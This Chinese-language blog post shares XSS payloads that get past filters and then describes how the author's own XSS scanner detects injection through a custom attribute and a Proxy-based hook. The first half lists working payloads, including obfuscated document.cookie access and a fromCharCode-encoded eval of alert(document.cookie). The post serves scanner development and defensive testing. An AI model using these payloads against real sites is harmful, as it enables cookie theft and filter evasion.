翻翻以前的笔记,看到很多绕过XSS过滤相关的内容。又想起前段时间给XSS扫描程序加的 bypass Payload。还算得上是巧(feng)妙(sao),简单分享一下~
+
过滤
1. `# document.cookie`
2. `document['coo'['CONCAT'.toLowerCase()]('kie')]`
1. `# alert(1)`
2. `` alert`1` ``
;
过滤
1. `<img src=1 onload="test(),alert(1)">`
1. `eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))//`
.
过滤
1. `with(location)alert(hash)`
1. ``<video width="0" height="0" oncanplay=alert`0`>``
2. `<source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">`
3. `</video>`
5. `<details ontoggle=alert(1) open>`
之前的文章都写过,检测逻辑可以参考: XSS dynamic detection using PhantomJs: https://paper.seebug.org/93/
动态分析部分参考: 浅谈动态爬虫与去重: https://www.anquanke.com/post/id/85298
为了将 waf bypass 的工作落实到 XSS 扫描中,我加了这样一条规则:
1. `# 正常 payload`
2. `1'"><img src=1 onerror=alert(1)> `
3. ` `
4. `# bypass payload`
5. `1'"><b bn=bfx(1)>`
在正常的浏览器中, <b>
标签的 bn
事件无法触发, bfx
函数也不存在。
但是,在扫描 xss 的时候,是在我们自己的解析器里完成的!!在我的地盘就得听我的!!
1. `function bfx(code):`
2. `if code == 1:`
3. `return "XSS Found!"`
4. ` `
6. `function do_trigger():`
7. `for element in document.all:`
8. `for attribute_name, attribute_value in element.attributes:`
9. `if attribute_name == "bn":`
10. `eval(attribute_value)`
伪代码如上。先插入脚本,自定义某个函数,如果函数执行认为XSS触发成功,通知主线程。再遍历页面中所有的节点,触发所有的 bn
事件。
如果心情好的话,还可以把括号给处理掉,比如利用 ES6 里的 Proxy 对象:
1. `let student = {name:"zhangsan"}`
3. `const handler = {`
4. `get:(obj, prop) => {`
5. `console.log("XSS found!")`
6. `return obj[prop]`
7. `}`
8. `}`
10. `let foo = new Proxy(student, handler)`
对应的 payload 为:
1. `1'"><b bn=foo.name>`
但这个骚操作的前提是:你的解析器支持 ES6。(给 PhantomJS 点一百首《凉凉》)
XSS Bypass Cookbook https://xianzhi.aliyun.com/forum/read/536.html